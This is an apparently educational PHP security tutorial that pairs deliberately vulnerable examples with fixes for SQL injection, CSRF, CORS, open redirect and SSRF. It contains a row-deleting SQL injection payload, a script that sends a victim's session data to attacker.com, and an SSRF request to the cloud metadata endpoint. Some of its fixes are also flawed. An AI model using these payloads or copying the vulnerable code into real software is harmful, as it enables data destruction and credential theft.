Preparations for simplicity

If you want to follow the test I will conduct, make sure to install XAMPP. In my following demonstration, I will use this database:

```
-- phpMyAdmin SQL Dump
-- version 5.2.1
-- https://www.phpmyadmin.net/
--
-- PHP version: 8.2.18

SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
START TRANSACTION;
SET time_zone = "+00:00";


/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8mb4 */;

--
-- `php_test_db`
--

-- --------------------------------------------------------

--
-- `users`
--

DROP TABLE IF EXISTS `users`;
CREATE TABLE IF NOT EXISTS `users` (
  `id` int NOT NULL AUTO_INCREMENT,
  `name` varchar(50) NOT NULL,
  `age` int NOT NULL,
  `registered_date` date NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci;
COMMIT;

/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
```

```
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
```

This is a simple database, with name “php_test_db” which contains one table. The users table contains columns: The user id, the username, the user age, and the date. Perfect for demonstrating all kinds of atrocities in the form of SQL injection.

Also, the following values will be present by default at the beginning of each test:

```
INSERT INTO `users`(`name`, `age`, `registered_date`) VALUES
('Alice',41,CURDATE());
INSERT INTO `users`(`name`, `age`, `registered_date`) VALUES ('Bob',20,CURDATE());
INSERT INTO `users`(`name`, `age`, `registered_date`) VALUES
('Charlie',21,CURDATE());
```

Without further babbling, let me get the first exploit for you to show.

SQL injections 101

This example will show a basic SQL injection. If you remember, I have set up a basic scenario. A survey where people need to give their age and we want to get an average of the submitted age. Now, I made a mock basic survey website for you:

```
<?php
//An example data input form.

$server   = 'localhost';
$username = 'root';
$password = '';
$database = 'php_test_db';

$conn = new mysqli($server, $username, $password, $database);

// Check connection
if ($conn->connect_error) {
    exit("Connection failed: " . $conn->connect_error);
}

// If form submitted, read values and insert directly (vulnerable)
if ($_SERVER['REQUEST_METHOD'] === 'POST') {

    $name = $_POST['name'] ?? '';
    $age  = $_POST['age']  ?? '';

    $sql = "INSERT INTO `users` (`name`, `age`, `registered_date`) VALUES ('" .
$name . "', " . $age . ", CURDATE());";

    if ($conn->query($sql) === TRUE) {
        echo "New user registered!";
    } else {
        echo "Error registering new user!";
    }
}

$conn->close();
```

```
?>

<!doctype html>
<html>
<head>
    <meta charset="utf-8">
    <title>User registry survey</title>
</head>
<body>
    <h1>Survey example:</h1>
    <form method="POST" action="">
        <label>
            Name:
            <input type="text" name="name" required>
        </label>

        <br/><br/>

        <label>
            Age:
            <input type="number" name="age" required>
        </label><br><br>

        <button type="submit">Submit</button>
    </form>
    <p><em>After filling out the form, kindly click the "Submit" button.</em></p>
</body>
</html>
```

This form asks for a name and an age. Then when submitted, it stores these data in the sql database. For example, I supplied “Goat” as a name and 23 as an age. The app tells me after submission, that “New user registered!” and when performing a select query on my database I get this as a result:

```
"id","name","age","registered_date"
"2","Goat","23","2025-09-21"
"3","Alice","41","2025-09-21"
"4","Bob","20","2025-09-21"
"5","Charlie","21","2025-09-21"
```

As you can see, the saving of the new submission was successful.

A little exercise regarding about the validation:

How can we make the age input more secure?

SPOLIER WILL BE BELOW:

Like this:

```
<?php
//...
if ($_SERVER['REQUEST_METHOD'] === 'POST') {

    $name = $_POST['name'] ?? '';
    $age  = intval($_POST['age'])  ?? '';

    if($age<4 || $age >=120){
        echo "Invalid age supplied!";
    } else {
        //Perform SQL query.
    }

    $sql = "INSERT INTO `users` (`name`, `age`, `registered_date`) VALUES ('" .
$name . "', " . $age . ", CURDATE());";

    if ($conn->query($sql) === TRUE) {
        echo "New user registered!";
    } else {
        echo "Error registering new user!";
    }
}

$conn->close();
?>

...
```

Okay, that was a validation issue and not an SQL injection exploit, but I thought I would just still place this here for the user to be tested if he really understands validation errors.

Now, for the real feat. As you can see, we build the actual SQL insertion query by concatenating strings like this:

```
<?php

    //...


    $sql = "INSERT INTO `users` (`name`, `age`, `registered_date`) VALUES ('" .
$name . "', " . $age . ", CURDATE());";

    //...
?>
```

Which may cut it if the user is genuine. An example $sql string which will be build can look like this:

```
INSERT INTO `users` (`name`, `age`, `registered_date`) VALUES ('Martin', 25,
CURDATE());
```

This is good, but what stops the user from putting in some SQL commands as a name?

For example, weird things happen when a user gives this as name:
“Pwned',1337,CURDATE()); DELETE FROM users WHERE 1; --”

After submitting this query. You may take a look at your database and confirm that all your data is gone. This tricky name deleted all of your previous entries causing you damage. Now imagine, that bank transactions get deleted. Now you see, how devastating SQL injections really are.

But let me break down, what this name selection does exactly:

1. It fills the name parameter as “Pwned”, closes the name string literal, fills out the age and date entries, then closes the insert statement.
2. After that, because of the insert statement was already closed by the attacker, it inserts a new command which will be executed: A feared DELETE call.
3. The delete call deletes every row (entry) of our database causing us damage.

You see, this was already bad enough but SQL injections can:

- Perform data extortion. (With exposed SELECT calls, later I will show an example to this too)
- Perform privilege escalation, where the attacker can steal, delete or make up new data, database schemas, relations. Basically the attacker can manipulate any aspect of our database with just an SQL injection exploit.
- The attacker can break your production application
- Being exposed to an SQL injection exploit will make your reputation tank. Data breaches or data loss can occur and those can lead to loss of user trust, fines or other legal actions from users.

So, let’s try to fix the exploit. The exploit occurs in this line:

```
<?php
$sql = "INSERT INTO `users` (`name`, `age`, `registered_date`) VALUES ('" . $name
. "', " . $age . ", CURDATE());";
?>
```

Because it builds the SQL query (which can turn into more) using string concatenation.

We can replace this method with something known as the prepared statement method, where we tell SQL that how should each input be handled. I made you a fixed code snippet, which on I will guide you through:

```
<?php
//An example data input form.

$server   = 'localhost';
```

```php
$username = 'root';
$password = '';
$database = 'php_test_db';

$conn = new mysqli($server, $username, $password, $database);

// Check connection
if ($conn->connect_error) {
    exit("Connection failed: " . $conn->connect_error);
}

//If form submitted
if ($_SERVER['REQUEST_METHOD'] === 'POST') {

    $name = $_POST['name'] ?? '';
    $age  = intval($_POST['age'])  ?? '';

    if($age<4 || $age >=120 || $age ==''){

        echo "Invalid age supplied!";

    }else if($name ==''){

        //We can also check if the user's name did not exceed the 50 character
limit, but this chapter is about the SQL injections. If you want to excercise, you
could check that.
        echo "Invalid name supplied!";
    } else {

        $stmt = $conn->prepare("INSERT INTO `users` (`name`, `age`,
`registered_date`) VALUES (?, ?, CURDATE())");

        if ($stmt === false) { //This will check if any syntax errors are present
in our query.
            error_log("Prepare failed: " . $conn->error);
            exit("Internal server error.");
        }

        $age_int = (int)$age;

        //Bind parameters to the sql query.
        $stmt->bind_param("si", $name, $age_int); // s = string, i = integer

        if ($stmt->execute() === TRUE) {

            echo "New user registered!";
        } else {

            echo "Error registering new user!";
        }
    }


}

$conn->close();
?>

<!doctype html>
```

```
<html>
<head>
    <meta charset="utf-8">
    <title>User registry survey</title>
</head>
<body>
    <h1>Survey example:</h1>
    <form method="POST" action="">
        <label>
            Name:
            <input type="text" name="name" required>
        </label>

        <br/><br/>

        <label>
            Age:
            <input type="number" name="age" required>
        </label><br><br>

        <button type="submit">Submit</button>
    </form>
    <p><em>After filling out the form, kindly click the "Submit" button.</em></p>
</body>
</html>
```

The first notable changes are that we implemented edge case checks, like what should happen if the user fails to supply a name or an age. In that case, I simply ignore the submission, but you can continue with default values to the name and age. Your choice.

Second, I made a prepared statement which looks like this:

```
<?php
//...
$stmt = $conn->prepare("INSERT INTO `users` (`name`, `age`, `registered_date`)
VALUES (?, ?, CURDATE())");
//...
?>
```

This tells the SQL that two parameters are needed to be supplied which will be parsed to the SQL statement and will replace the “?” symbols.

```
<?php
//...

$age_int = (int)$age;

//Bind parameters to the sql query.
$stmt->bind_param("si", $name, $age_int); // s = string, i = integer

//...
?>
```

This part of the code binds the name and age variables to our SQL statement in this format: “si”. Now, what does “si” mean? In this case the format string (“si”) marks how each parameter should be treated in the query. The first character of the format string corresponds to the first param, the second character to the second parameter and so on. The “s” character means that the input should be threated as a string literaly and the “i” means that it should be threated as an integer. Note, that we first convert the age variable to an integer.

After these fixes, if we check our database, not even the nastiest names will do anything. Notice that submitting “');” as a name would have errored out our previous implementation, this version just accepts this as a name and inserts it to our database. While we prevented a potential SQL injection exploit, other developers who query and work with these data entries can still get Pwned by the exploit if we store these in our database, so it is best to limit the name to only contain alphabetic characters, numbers and spaces. Maybe allow the “_” symbol too, but there is no need to allow the user to use “)” in his name.

Another SQL data extraction exploit

The management tasked you to make a publicly accessible site, where users who type their name (assuming every name is unique, and user gave more like a gamer tag than an username) can see what data the submitted. Your first attempt looks somehow like this:

```php
<?php
$server   = 'localhost';
$username = 'root';
$password = '';
$database = 'php_test_db';

$conn = new mysqli($server, $username, $password, $database);
// Check connection
if ($conn->connect_error) {
    exit("Connection failed: " . $conn->connect_error);
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {

    $name = $_POST['name'] ?? '';

    if($name ==''){
        echo "Invalid Name supplied!";
    } else {
        $sql = "SELECT * FROM `users` WHERE name LIKE \"".$name."\"";

        $result = $conn->query($sql);
```

```
        echo "Entries based on name: <br/>";
        if ($result->num_rows === 0) {
               echo "<p>No rows matched.</p>";
        } else {
                echo "<h3>Matched rows (" . $result->num_rows . "):</h3>";
                echo "<table border='1' cellpadding='6'><tr>";

                // Print each row
                while ($row = $result->fetch_assoc()) {
                    echo "<tr>";
                    foreach ($row as $val) {
                        // Escape for safe HTML output (this does not mitigate
SQLi)
                        echo "<td>" . htmlspecialchars((string)$val,
ENT_QUOTES|ENT_SUBSTITUTE, 'UTF-8') . "</td>";
                    }
                    echo "</tr>";
                }
                echo "</table>";
        }
    }
}
$conn->close();
?>

<!doctype html>
<html>
<head>
    <meta charset="utf-8">
    <title>Entry getter by name</title>
</head>
<body>
    <h1>Get entries by name:</h1>
    <form method="POST" action="">
        <label>
            Name:
            <input type="text" name="name" required>
        </label>
        <button type="submit">Get</button>
    </form>
</body>
</html>
```

This way, users can see their age and when did they submit their age. For example, Bob wants to know when he submitted his age. He can type his name: “Bob” and the page, as a result:

```
13  Bob 20  2025-09-21
```

He gets his Id, name, age and date.

A little exercise: Based on the previous chapter, fix the basic “; DROP TABLE users;” SQL injection exploit.

But let's assume that Bob is smart and knows how string literal comparisons work in SQL. He probably can guess that you use a LIKE in your select query and in string comparison, you can use wildcard characters like "%", for example: "%lice" which tells SQL to match those name entries which end with lice and contain a some number of characters at the beginning. Now let's assume that Bob is even smarter, and somehow, he guessed that you have a "name LIKE <input name>" comparison. He curiously inputs "%%" as his name. This means: match every name which contains some amount of characters, then contains more number of characters. Shockingly, Bob, after submitting his name query sees the whole database printed out:

```
11  '); 8   2025-09-21
12  Alice   41  2025-09-21
13  Bob 20  2025-09-21
14  Charlie 21  2025-09-21
```

How to fix this? Well, we could try adding prepared statements like this:

```php
<?php
//...

$stmt = $conn->prepare("SELECT * FROM `users` WHERE name LIKE ?");

$stmt->bind_param("s", $name);

$stmt->execute();

$result = $stmt->get_result();

echo "Entries based on name: <br/>";

//...
?>
```

Which WILL prevent formal SQL injections, but let's try putting in "%%" as our name:

```
11  '); 8   2025-09-21
12  Alice   41  2025-09-21
13  Bob 20  2025-09-21
14  Charlie 21  2025-09-21
```

Weird, it still works. Now, the problem was not really the lack of SQL query sanitization but rather the unnecessary shortcomings of the LIKE keyword. A good idea is to either skip the sensitive characters or only allow alphanumeric characters in the username.

A simple way of skipping the sensitive characters would be something like this:

```php
<?php
//...
```

```php
function escape_for_like(string $input): string {

    $input = (string)$input;

    $input = str_replace('\\', '', $input);

    $input = str_replace('%', '', $input);

    $input = str_replace('_', '', $input);

    return $input;
}

//...
?>
```

... And then using it where we get the name from the POST request:

```php
<?php
//...
if ($_SERVER['REQUEST_METHOD'] === 'POST') {

    $name = $_POST['name'] ?? '';
    $name=escape_for_like($name);

//...
?>
```

Now, let's try to put in our favourite name, "%%":

We now get:

```
Invalid Name supplied!
```

Which means that we solved the problem! High five!

Tips for more safety

Exposing direct object ids to the end user

Back in the SQL injection chapter, the user could pick a name, and the database would in exchange return the id for that name, the age and the date the name and age were submitted. However, exposing the id of that name is an unnecessary thing to do. As a good rule of thumb: Never expose the primary key values of the user! Moreover, never let the user supply the id for ANY reason! It could lead to:

- Unauthorized access, file downloads
- Bad authorization check.

If needed, always store the user id in the session variables!

Do NOT use old PHP packages

Another good rule of thumb is always stay on the latest version!

GET instead of POST...

Another common problem is that people do not know when to use GET and when to use POST.

Suppose we have a password reset PHP program, which resets the password of the user who submits his name:

```php
<?php
//An example change password script

// Usage: /passchange.php?user=alice&new_pass=Hunter2

//We use GET as a state changing action here.

if (!isset($_GET['user'], $_GET['new_pass'])) {
    http_response_code(400);
    echo "Missing params";
    exit;
}

$user = $_GET['user'];
$new_pass = $_GET['new_pass'];


$mysqli->query($sql);
//... We change te password here.

echo "Password changed for $user";

?>
```

Using get is quite straightforward here, but is it secure? Not that much. Unprecedented things can happen, namely:

- The link: https://site/bad_change_password.php?user=alice&new_pass=Hunter2 appears in browser history, visible in referrer when navigating away, will be visible in 3rd party proxies.
- Anyone can type this link and if a bad actor guesses the name, then it is over.
- No CSRF protection: a malicious page can trick an authenticated browser into visiting that URL and changing password.

So, using GET here is maybe not the best way to change password. When side effects are needed, use POST. A GET should ONLY be used if you are GETTING something and getting something has no side effect.

A fixed code with CSRF check and POST request would look like this:

```php
<?php
// good_change_password.php
session_start();

//Must be authenticated
if (empty($_SESSION['user_id'])) {
    http_response_code(401);
    echo "Not authenticated";
    exit;
}

//Only allow POST, not GET
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    http_response_code(405);
    header('Allow: POST');
    echo "Use POST";
    exit;
}

//... CHECK CSRF token here. Will be demonstrated later.

// 4) Validate inputs
$new_pass = $_POST['new_pass'] ?? '';
$confirm  = $_POST['confirm'] ?? '';

if ($new_pass === '' || $new_pass !== $confirm) {
    http_response_code(400);
    echo "Invalid password or mismatch";
    exit;
}

if (mb_strlen($new_pass) < 8) {
    http_response_code(400);
    echo "Password too short";
    exit;
}

//Store HASHED password in database.
$hash = password_hash($new_pass, PASSWORD_DEFAULT);

//... Update database here.

if (true /*Assume, password change successful*/) {
    echo "Password changed";
} else {
    http_response_code(400);
    echo "No change made";
}

?>
```

Later, I will show you the CSRF validation.

Using weak cryptography

In the previous example, I mentioned that hashing passwords are required.

A refresher:

- Password hashing will render most password breaches useless.
- It helps enforcing some rules regarding data protection.

So far, we used the normal and unsalted md5 hashing in the magic hash attack.

Using md5 hashing as an example:

```php
<?php
//...

$raw = $_POST['password']; //Untrusted input
$stored = md5($raw);

// store $stored password in DB

//...
?>
```

This is nice but has a few problems.

- The md5 hash does not contain salting by default, so it is vulnerable to rainbow table attacks.
- The md5 hashing is fast, meaning attackers can brute force it.
- Since no salt is present, more passwords can have the same hash and precomputed table attacks will be more efficient.

To address this, PHP has a built-in function: password_hash() and password_verify(). These functions provide efficient hashing algorithms such as argon or BCrypt depending on PHP and platform version.

Here is an example of how to use them:

```php
<?php

//On login / registration:
$raw = $_POST['password'] ?? '';

//On registration:
$hash = password_hash($raw, PASSWORD_DEFAULT); //bcrypt or argon2 depending on PHP
// store $hash in DB

//...

// When the user logs in:
$storedHash = ""/* Load from DB for username */;
if (password_verify($raw, $storedHash)) {

    //Password is correct
    //...

    // Optionally rehash if the underlying algorithm in PHP updated:
    if (password_needs_rehash($storedHash, PASSWORD_DEFAULT)) {

        $newHash = password_hash($raw, PASSWORD_DEFAULT);
```

```
        // store $newHash in DB
    }
} else {
    echo "Failed to log in / register. Invalid user credentials!";
}
?>
```

I also provided an example of password_needs_rehash() which checks if the underlying password hashing algorithm updated. If so, I create a new secure hash and update it in the password database.

Utility scripts

In this chapter, I will show you a handful of useful security related PHP code snippets which can perform all kinds of awesomeness and prevent a bunch of security loopholes in your code.

Cross Site Request Forgery

Cross Site Request Forgery or CSRF is a malicious action done by a bad actor to try to simulate user behaviour from a foreign site. For example, the attacker can try to send POST requests which may very well can cause damage to your app and database.

This can be solved, by embedding something called as a CSRF token. This token, then gets remembered by the session and allows the actual user to interact and send regular POST requests. The attacker does not have a CSRF token and thus, can't perform POST requests.

A simple implementation would look like this:

Generating the token on user session start:

```
<?php

$_SESSION['user_id'] = $userId; //Example user tracking in session.
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));

?>
```

The random_bytes($size) is a safe random generator which can generate a suiting CSRF token.

Then, when the user needs to POST something, you can just include the CSRF token hidden into the submission:

```
<form method="post" action="/good_change_password.php">
  <input type="hidden" name="csrf_token" value="<?=
htmlspecialchars($_SESSION['csrf_token']) ?>">
  <input type="password" name="new_pass" required>
  <input type="password" name="confirm" required>
  <button type="submit">Change password</button>
</form>
```

Then, check if the session CSRF token is equals to the CSRF token provided in the POST request:

```
<?php
//...

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $posted = $_POST['csrf_token'] ?? '';

    // Always compare with a constant-time function and ensure session token
exists
    if (!empty($_SESSION['csrf_token']) && hash_equals($_SESSION['csrf_token'],
(string)$posted)) {
        // Valid token, so allow the POST request to proceed further.
    } else {
        // Invalid token
        http_response_code(403);
        exit('Invalid CSRF token');
    }
}

//...
?>
```

CSRF token hijacking

The upper code looks good, only one caveat, if the user is careless, the CSRF token can be stolen, because in the POST form, it is embedded, so spywares and bad actors can steal it if they gain access to the user's computer.

To prevent this, the user can:

- Have an efficient antivirus,
- Educate himself about common phishing and malicious tactics.

Misconfigured CORS

I know, I know, nobody likes CORS because you always need to configure it to be too permissive. And you may ask, if you always configure it to be too permissive, then why is it present in the first place? Good question, assume we have a server PHP with a protected endpoint:

```php
<?php
//server.php

//Allows * and credentials at the same time
header("Access-Control-Allow-Origin: *");
header("Access-Control-Allow-Credentials: true");
header("Access-Control-Allow-Headers: Content-Type, Authorization");
header("Access-Control-Allow-Methods: GET, POST, OPTIONS");

// Protected endpoint (e.g., profile data)
session_start();
if (!isset($_SESSION['user_id'])) {
    http_response_code(403);
    exit("Not logged in");
}

echo json_encode([
    "id" => $_SESSION['user_id'],
    "email" => "victim@example.com",
    "secret" => "Sensitive API data like tokens, password, sensitive email…"
]);
```

We are very keen on working on actual features so we just set all CORS policies to “*”. This is VERY BAD. With this config, you basically tell your PHP engine: Allow all requests from all websites.

An attacker at attacker.com can exploit this and make a JavaScript code which can request the sensitive data from your site:

```javascript
<script>

fetch("https://victim.com/server.php", {
    credentials: "include"
})

.then(r => r.json())

.then(data => {

    // Stolen data from victim's session, like email, password, sensitive API
tokens, you name it.
    fetch("https://attacker.com/steal", {
        method: "POST",
        body: JSON.stringify(data)
    });
});

</script>
```

This will work, because you've specifically allowed the getting of credentials from another site (Cross Site).

How to fix it?

Easy, never use * with Access-Control-Allow-Credentials: true. Browsers reject it, but many developers mistakenly add both.

Also keep a whitelist of the allowed domains so an attacker from attacker.com can't perform this type of credential harvesting.

For public APIs with `*`, do not allow credentials.

Here is an example, which has a whitelist and does not make the mistakes I listed above:

```php
<?php

// Whitelist only the specifically needed origins
$allowed_origins = [
    "https://myapp.com",
    "https://admin.myapp.com"
];

//Get request origin
$origin = $_SERVER['HTTP_ORIGIN'] ?? '';

//Is the site that issued the request is in the whitelist, we allow the credential
access.
if (in_array($origin, $allowed_origins, true)) {
    header("Access-Control-Allow-Origin: $origin");
    header("Access-Control-Allow-Credentials: true");
}

//Set allowed headers and methods:

header("Access-Control-Allow-Methods: GET, POST, OPTIONS");
header("Access-Control-Allow-Headers: Content-Type, Authorization");

//... Other logic here
?>
```

Such an easy fix. Remember, CORS can be easily overlooked and threated as a banishment for backend developers, but it is there for a reason.

Open redirecting

Open redirect attacks allow the attackers to redirect your users at their malicious or phishing sites by abusing the next parameter.

An easy example:

Suppose, we have a redirecting PHP site which redirects to internal links based on our needs:

```php
<?php

//A PHP script with redirect logic

// Example: /redirect.php?next=https://attacker.phishing.com/login

$next = $_GET['next'] ?? '/';
header('Location: ' . $next); //Redirect to the URL stored in the $next which the attacker supplied.

exit;

//... other logic
?>
```

However, the attacker can abuse this by providing a next parameter, which links to his site instead of yours. This redirects the users to his site, while appearing a mostly legitimate link, because it uses your domain mainly.

To prevent the attacker from redirecting users with phishy links, we must set up a whitelist and ensure, that the URL host and format is correct:

```php
<?php
// a safe redirect.php

$allowedHosts = [
    'good-site.com',
    'app.good-site.com',
    'partner.example.com', //Only add trusted domains here
];

$next = $_GET['next'] ?? '/'; //If nothing is provided, set a default, current redirect.

// Basic CRLF / header-injection protection, prevent adding more header data than we required and threat it as an actual URL format.
$next = str_replace(["\r", "\n"], '', $next);

// If it looks like a full URL, validate host is allowed
$parts = parse_url($next);

if ($parts !== false && isset($parts['host'])) { //Check if the URL host path is supplied.

    $host = strtolower($parts['host']); //Get the host from the URL.

    if (!in_array($host, $allowedHosts, true)) { //Check if the host is in our whitelist, if not, we display an error which tells that the redurect host is not allowed.
```

```
        http_response_code(400);
        exit('Redirect host not allowed');
    }

    //Passed our checks, safe to redirect:
    header('Location: ' . $next, true, 302);
    exit;
}

// Otherwise if it's a path, ensure it's safe.
if (strpos($next, '//') === 0) {
    http_response_code(400);
    exit('Invalid redirect');
}
header('Location: ' . $next, true, 302);
exit;

?>
```

This ensures, that only redirects that we want can be created with this script. Also remember to ensure that whitelisted domains also are protected against this kind of attack because if not, it can be done by supplying the vulnerable host URL and making the exploit there.

Server-side request forgery

Let's assume, we have an image proxy which can serve images from different domains:

```
<?php
//Our image proxy

// Usage: /image_proxy.php?url=http://example.com/image.jpg

$url = $_GET['url'] ?? ''; //Checks if an user provided an URL.
if ($url === '') {
    http_response_code(400);
    exit('Missing url');
}

//Load content into memory.
$content = @file_get_contents($url);
if ($content === false) {
    http_response_code(502);
    exit('Fetch failed');
}

//Return content type blindly
header('Content-Type: application/octet-stream');
echo $content;

?>
```

At a first glance, we have seen this previously, right? Loading files into memory is bad by itself but there is an even worse, hideous exploit here.

An example maliciouse get request may look like this:

```
GET /vuln_proxy.php?url=http://169.254.169.254/latest/meta-data/ HTTP/1.1
Host: vulnerable.example.com
```

If the server is in AWS, this may return the instance metadata service (IMDS) contents (roles, credentials). That leaks secrets. OUR site leaks secrets, formally the secrets of others!

Now, fixing this in theory is easy, but it requires almost all of our previous safe code snippets so I will just make a list on what to fix:

- Only allow http/https requests.
- Create a domain allowlist, or at least discard private domains (with the Ips)
- Resolve the host first (A/AAAA) and ensure none of the returned IPs are private/reserved
- Limit response size and validate Content-Type (image/*) to only allow images for your image proxy.
- Log & rate-limit suspicious requests, which then you can blacklist.

Feel free to make an example PHP site where you implemented these measures as an exercise.

Epilogue

Thank you for reading my rambling about PHP and common PHP exploits. I hope you learned something new and remember, learning cybersecurity is beneficial, no matter in what department you work.

Stay tuned for more! – A.G.